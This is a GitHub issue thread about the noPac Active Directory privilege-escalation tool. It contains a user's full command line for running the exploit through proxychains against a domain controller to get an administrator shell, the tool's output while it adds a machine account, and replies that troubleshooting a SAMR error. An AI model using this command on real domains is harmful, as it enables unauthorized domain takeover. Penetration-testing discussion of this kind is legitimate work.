Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[-] SAMR SessionError: code: 0xc00002a7 - STATUS_DS_NO_RIDS_ALLOCATED - The directory service was unable to allocate a relative identifier. #9

Open
L0serH4 opened this issue May 23, 2022 · 3 comments

Comments

@L0serH4
Copy link

L0serH4 commented May 23, 2022

Running noPac against 2019 DC and receiving the following error
#:proxychains4 python3 noPac.py xxx/user:'password' -dc-ip 10.10.10.140 -dc-host ad01 -shell --impersonate administrator
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.16-git-4-g04023d3

███ ██ ██████ ██████ █████ ██████
████ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ██ ██ ██████

[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.140:389 ... OK
[] Current ms-DS-MachineAccountQuota = 10
[
] Selected Target AD01.nasa.gov
[] will try to impersonat administrator
[
] Adding Computer Account "WIN-GQ5YXH1Y39S$"
[*] MachineAccount "WIN-GQ5YXH1Y39S$" password = ^%rX!ZNIV#0v
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.140:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.140:445 ... OK
[-] SAMR SessionError: code: 0xc00002a7 - STATUS_DS_NO_RIDS_ALLOCATED - The directory service was unable to allocate a relative identifier.
image

@Ninaddu
Copy link

Ninaddu commented Feb 14, 2023

have the same problem

@sec13b
Copy link

sec13b commented Aug 21, 2023

did you try without proxychains ?

@Ridter
Copy link
Owner

Ridter commented Aug 24, 2023

Check whether the number of created computer accounts has exceeded MAQ.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants